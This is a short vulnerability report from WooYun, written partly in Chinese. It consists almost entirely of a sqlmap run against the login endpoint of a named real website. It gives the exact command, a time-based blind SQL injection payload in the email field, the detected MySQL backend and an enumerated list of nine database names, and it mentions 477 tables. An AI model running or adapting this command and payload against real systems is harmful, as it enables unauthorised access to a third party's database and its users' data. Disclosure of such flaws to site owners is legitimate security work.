WooYun.org

注入点
sqlmap -u "http://www.yijifen.com/dologin.do" --data "password=11111&=%E7%99%BB%20%E5%BD%95&email=11111"
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: password=11111&=%E7%99%BB %E5%BD%95&email=11111' AND (SELECT * FROM (SELECT(SLEEP(5)))MIYl) AND 'VpEL'='VpEL
---
[15:11:40] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.12
[15:11:40] [INFO] fetching database names
[15:11:40] [INFO] fetching number of databases
[15:11:40] [WARNING] time-based comparison requires larger statistical model, please wait..............................
[15:11:48] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[15:11:54] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
9
[15:12:05] [INFO] retrieved: information_schema
[15:18:24] [INFO] retrieved: dbaadmin
[15:20:51] [INFO] retrieved: eqile
[15:22:23] [INFO] retrieved: escore
[15:24:25] [INFO] retrieved: luckcat
[15:26:46] [INFO] retrieved: mysql
[15:28:33] [INFO] retrieved: performance_schema
[15:34:46] [INFO] retrieved: ssp
[15:36:01] [INFO] retrieved: test
available databases [9]:
[*] dbaadmin
[*] eqile
[*] escore
[*] information_schema
[*] luckcat
[*] mysql
[*] performance_schema
[*] ssp
[*] test
477张表

拆解的速度太慢，就不把数据跑出来了